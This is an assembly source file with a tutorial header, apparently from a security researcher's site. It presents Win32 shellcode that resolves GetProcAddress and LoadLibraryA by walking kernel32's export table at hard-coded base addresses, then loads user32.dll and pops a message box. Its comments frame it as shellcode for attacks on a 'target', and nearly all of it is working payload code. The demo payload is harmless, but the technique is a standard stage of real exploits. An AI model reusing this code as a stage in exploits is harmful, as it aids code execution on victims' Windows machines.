; ---[ KUNGFOO.ASM ]----------------------------[ http://www.harmonysecurity.com ]--- ; ; Today I present some advanced x86 win32 shellcode to retrieve the relative virtual ; addresses of the functions GetProcAddress and LoadLibraryA by scanning the kernel32 ; image in memory and retrieving them from the export address table. This code assumes ; no hard coded function calls therefore provides a dynamic way to retrieve the two ; most important addresses on the fly in a system independent way. for the example given ; my code then load's user32.dll into memory, gets the address of MessageBoxA and displays ; a simple message, but remember NO HARDCODED API ADDRESSES WERE USED. i know the code ; will contain lots of NULL bytes but it didn't warrant writing a decryption routine ; for this example. as a note when the code needs to exit 'gracefully' it will simply ; hang the process its running inside with an infinite loop for the sake of simplicity ; simply use Ctrl-C if your at the console to stop it. ; ; let us review, with windows shellcode if we want to call any API function we need ; to know is address in memory. This address usually varies with each release and ; version of windows. to overcome this we can use two API functions LoadLibraryA and ; GetProcAddress. LoadLibraryA will load a DLL/Module into the calling process memory ; space and GetProcAddress will retrieve the address for any exported API function ; within a loaded module. the problem is how can we call these functions if we aren't ; sure of their address in the first place, it a bit of a catch 22, we need to call ; GetProcAddress to find the address of GetProcAddress. to date all windows shellcodes ; use hardcoded values for these two functions, granted this will work if you've done ; your research on your target and have lady luck on you side but if the fate of the ; world (or your next paycheque) lies on you pulling off this attack you might need ; something a bit more sophisticated. to solve this problem we can scan the kernels ; export directory for the two functions we need guaranteeing our success... easy, no ;) ; ; we will rely on one fact, microsoft currently use a fixed address for the kernel ; base. this is open to change at any point but currently Windows 9x uses 0xBBF70000, ; WinME uses 0xBFF60000 and Windows NT4 uses 0x77F00000. This base address is a virtual ; address in a process memory space (the kernel will always get mapped) where the ; image of kernel32 exists. we can use this to find the export table and search for ; our two functions. ; ; the export directory which is located at the .edata section of a PE executable ; contains among other things three pointers to three parallel arrays of the exported ; functions names, their ordinals and their RVA's (relative virtual addresses). also ; contained in the export directory is the number of exported functions and their ; starting ordinal (the base). armed with these thing we can scan the 3 parallel arrays ; and calculate the VA's (virtual addresses) of the exported functions using a simple ; algorithm. Broken down what we do is scan the array of function names for the function ; we are searching for (e.g. "GetProcAddress") once found we know its index in the array. ; As the three arrays are parallel we can go easily retrieve the ordinal for the function. ; we then apply the following algorithm: ; ; (OrdinalOfFunc * 4) + PointerToFuncAddresses + KernelBaseAddress = VirtualAddressOfFunc ; ; and we end up with the VA of the function. now we save the VA and search again from ; the beginning of the arrays for the next function. the code i present below ; (kungfoo.asm) will do this. ; ; some kernel base addresses ive tested: ; Win95 (3rd release?) - 0xBFF70000 ; Win98 (1st and 2nd editions) - 0xBFF70000 ; WinME - 0xBFF60000 ; WinNT4 (service pack 4 and 5) - 0x77F00000 ; WinXP - 0x77E60000 ; ; to compile use the (FREE) nasm assembler: ; nasmw -s -fbin -o kungfoo.s kungfoo.asm ; and to test use my eggtest application (get it at my site): ; eggtest kungfoo.s kernel32.dll ; ; ; ; ---[ Author :: Steve Fewer ]-------------------------[ info@harmonysecurity.com ]--- KERNELBASE EQU 0xBFF70000 ; CHANGE THIS BASE ADDRESS TO YOUR TARGET PLATFORMS ONE, SEE ABOVE BITS 32 ; 32bit addressing ORG 0x0 ; for relative jumps etc... jmp data ; jump to our data section harmony: ; "i wana take you higher" - sly and the family stone pop eax ; save address of call return push ebp ; save old ebp mov ebp, esp ; create new stack frame sub esp, 0x2c ; make room for our variables mov [ebp-0x2c], eax ; save address of our data section mov dword [ebp-0x04], KERNELBASE ; assume a base address for kernel32.dll mov eax, [ebp-0x04] ; move imagebase into eax cmp word [eax], 'MZ' ; check if we have a exe image jne bnc ; exit if we dont, this short jump is out of range so we do two add eax, 0x3C ; eax = pointer to pe header offset mov ebx, [eax] ; get the pointer add ebx, [ebp-0x04] ; add to image base to align it cmp word [ebx], 'PE' ; check if we have a pe image jne bnc ; exit if we dont to avoid trashing system add ebx, 0x78 ; ebx = pointer to virtual address of export dir address mov esi, [ebx] ; esi = virtual address of export dir address add esi, [ebp-0x04] ; add imagebase to ecx to align add esi, 0x18 ; esi points to NumberOfNames lodsd ; load number of names into eax mov [ebp-0x0c], eax ; save it for later lodsd ; load address of funcs into eax add eax, [ebp-0x04] ; align it mov [ebp-0x10], eax ; save it lodsd ; load address of names into eax add eax, [ebp-0x04] ; align it mov [ebp-0x14], eax ; save it lodsd ; load number of ordinals into eax add eax, [ebp-0x04] ; align it mov [ebp-0x18], eax ; save it xor edi, edi ; clear edi for the loop mov eax, dword [ebp-0x2c] ; eax = address of our data section add eax, 0x0F ; eax = address of string "LoadLibraryA" mov [ebp-0x24], eax ; [ebp-0x24] = address of string to scan for mov [ebp-0x28], dword 0x0D ; [ebp-0x28] = size of string to scan for call getit ; call our function to get address of LoadLibraryA mov edx, [ebp-0x24] ; edx = virtual address of LoadLibraryA mov [ebp-0x20], edx ; save our address of LoadLibraryA mov eax, dword [ebp-0x2c] ; eax = address of string "GetProcAddress" mov [ebp-0x24], eax ; [ebp-0x24] = address of string to scan for mov [ebp-0x28], dword 0x0F ; [ebp-0x28] = size of string to scan for call getit ; call our function to get address of GetProcAddress mov edx, [ebp-0x24] ; edx = virtual address of GetProcAddress mov [ebp-0x1c], edx ; save our address of GetProcAddress jmp loadlib ; no we have our addresses let go critical... bnc: ; "thank you falatme be mice elf" - sly and the family stone jmp short exit ; we need this for out of range short jumps getit: ; "ina gada da vida baby" - iron butterfly xor eax, eax ; clear eax mov [ebp-0x08], eax ; set our counter to 0 top: ; "bolla bolla, ive lost my senses" - sven vath mov edi, [ebp-0x08] ; edi = our counter in the loop cmp edi, [ebp-0x0c] ; compare it to our limit jge fin ; if were greater or equal to it exit loop inc edi ; else increment the counter mov [ebp-0x08], edi ; and save it for later xor eax, eax ; clear eax mov eax, [ebp-0x08] ; eax = counter shl eax, 0x02 ; eax = eax * 2 mov ebx, [ebp-0x14] ; ebx = AddressOfNames add ebx, eax ; ebx = ebx + eax mov eax, [ebx] ; eax = pointer from ebx add eax, [ebp-0x04] ; align w/ base addr mov edi, eax ; edi = address of name to compare w/ mov esi, [ebp-0x24] ; esi = address of name to compare to [edi] mov ecx, [ebp-0x28] ; ecx = the length of our search string rep cmpsb ; compare the strings pointed to by edi,esi and repeat this ecx times jne top ; if not equal goto top of loop else we found the function we want xor eax, eax ; clear eax mov eax, [ebp-0x08] ; eax = value of our counter, we need this for calculations later shl eax, 0x01 ; eax = eax * 2 mov ebx, [ebp-0x18] ; ebx = pointer to ordinals add ebx, eax ; add the multiplyed counter to it xor eax, eax ; clear eax mov ax, word [ebx] ; ax = the ordinal for the function we found shl eax, 0x02 ; multiply it by 4 mov ebx, [ebp-0x10] ; ebx = pointer to address of functions add eax, ebx ; add it to (ordinal*4) mov ebx, [eax] ; ebx = rva of function add ebx, [ebp-0x04] ; align it, ebx = va of function mov [ebp-0x24], ebx ; save it fin: ; "we have a question, do you love your hardcore?" - ultra sonic ret ; return to caller exit: ; "just look at her eyes, do you know how you feel?" - jeferson aeroplane nop ; do nothing jmp exit ; this will hang the process, a lay mans exit :) loadlib: ; "the cows, the trees, the birrds, the beezzz" - scooter :) mov esi, [ebp-0x2c] ; esi = addr of data section add esi, 0x1C ; esi = addr of string "user32.dll" push esi ; push string pointer of lib to load mov ecx, [ebp-0x20] ; eax = address of LoadLibraryA call ecx ; call LoadLibraryA test eax, eax ; test for fail jz exit ; exit if returned zero mov ecx, eax ; store returned handle in ecx procaddr: ; "this is the end, beautyfull friend" - jim morrison, the doors mov eax, [ebp-0x2c] ; eax = addr of data section add eax, 0x27 ; eax = addr of string "MessageBoxA" push eax ; push address onto stack push ecx ; push lib handle mov eax, [ebp-0x1c] ; eax = address of GetProcAddress call eax ; call GetProcAddress test eax, eax ; test for fail jz exit ; exit if returned zero mov ecx, eax ; store returned address in ecx msg: ; "" - xor eax, eax ; clear eax inc eax ; increase eax, eax = 1 push eax ; push MB_OKCANCLE mov edx, [ebp-0x2c] ; edx = addr of data section add edx, 0x33 ; point to our message string push edx ; push pointer to string push edx ; push pointer to string dec eax ; decrease eax, eax = 0 push eax ; push NULL onto stack call ecx ; call MessageBoxA jmp exit ; exit this crazy place data: ; "were all junkies plain to see" - curtis mayfield call harmony ; call start of crazy code and pop off data address db "GetProcAddress", 0 ; string referenced by [ebp-0x2c] + 0x00 db "LoadLibraryA", 0 ; string referenced by [ebp-0x2c] + 0x0F db "user32.dll", 0 ; string referenced by [ebp-0x2c] + 0x1C db "MessageBoxA", 0 ; string referenced by [ebp-0x2c] + 0x27 db "PHEAR THE SCREAM" ; string referenced by [ebp-0x2c] + 0x33 db "ING INTERRUPT", 0 ; string is on two lines for sake of clarity